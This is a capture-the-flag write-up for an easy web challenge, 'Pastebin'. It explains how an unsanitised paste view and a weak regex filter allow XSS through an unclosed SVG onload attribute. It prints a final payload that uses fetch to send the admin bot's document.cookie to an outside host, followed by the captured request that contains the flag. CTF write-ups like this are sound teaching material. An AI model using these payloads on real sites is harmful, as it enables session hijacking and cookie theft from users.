🎲 Pastebin [web] 🎲

Description:

Difficulty:

easy

Objective:

CSRF through XSS resulting in cookie hijacking

Challenge files:

Finding The Vuln

On index.js, we see that there’s a POST request send to the /new endpoint using our paste as the body. It then populates a unique id for our paste and creates a new view out of it in which we can navigate.

app.post('/new', (req, res) => {
  const paste = (req.body.paste ?? '').toString();

  if (paste.length == 0) {
    return res.redirect(`/flash?message=Paste cannot be empty!`);
  }

  if (paste.search(/<.*>/) !== -1) {
    return res.redirect(`/flash?message=Illegal characters in paste!`);
  }

  const id = add(paste);
  res.redirect(`/view/${id}`);
});

The challenge appends our paste to our view’s HTML without any sanitization.

app.get('/view/:id', (req, res) => {
  const id = req.params.id;
  res.type('html');
  res.end(`
    <link rel="stylesheet" href="/style.css" />
    <div class="container">
        <h1>Paste</h1>
        ${pastes.get(id) ?? 'Paste does not exist!'}
    </div>
  `);
});

The only problem that prevents us from using a simple <script>alert(1)</script> is the regex that is checking if our paste has something inside a less sign and a greater than sign <anything>. So, if the output of the .search() is -1 that means that it passed the check.

const paste = '<script>alert(1)</script>';
const bypass = paste.search(/<.*>/);

console.log(bypass)

// 0

To bypass this check we can use HTML Attributes without closing the element tag.

const paste = '<svg onload=alert("iamfanky")';
const bypass = paste.search(/<.*>/);

console.log(bypass)

// -1


alert

⛳ Where is the Flag?

Looking at the bot’s source code we can see that it set’s as a cookie for the pastebin.mc.ax the flag. That means that if we use the xss to force the bot to visit our endpoint it will visit it with the flag set as it’s cookie.

import flag from './flag.txt'

export default {
  id: 'pastebin',
  name: 'pastebin',
  timeout: 10000,
  handler: async (url, ctx) => {
    const page = await ctx.newPage()
    await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })
    await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
    await page.waitForTimeout(5000)
  },
}

Final Exploit

<svg onload="fetch('https://fanky.me/?c='+document.cookie)"


admin_bot

GET /?c=flag=hope{the_pastebin_was_irrelvant} HTTP/1.1
Host: fanky.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Origin: https://pastebin.mc.ax
Referer: https://pastebin.mc.ax/
Sec-Ch-Ua: "/Not)A;Brand";v="24", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 2600:1900:2000:c4::5
X-Forwarded-Proto: https

Flag:

hope{the_pastebin_was_irrelvant}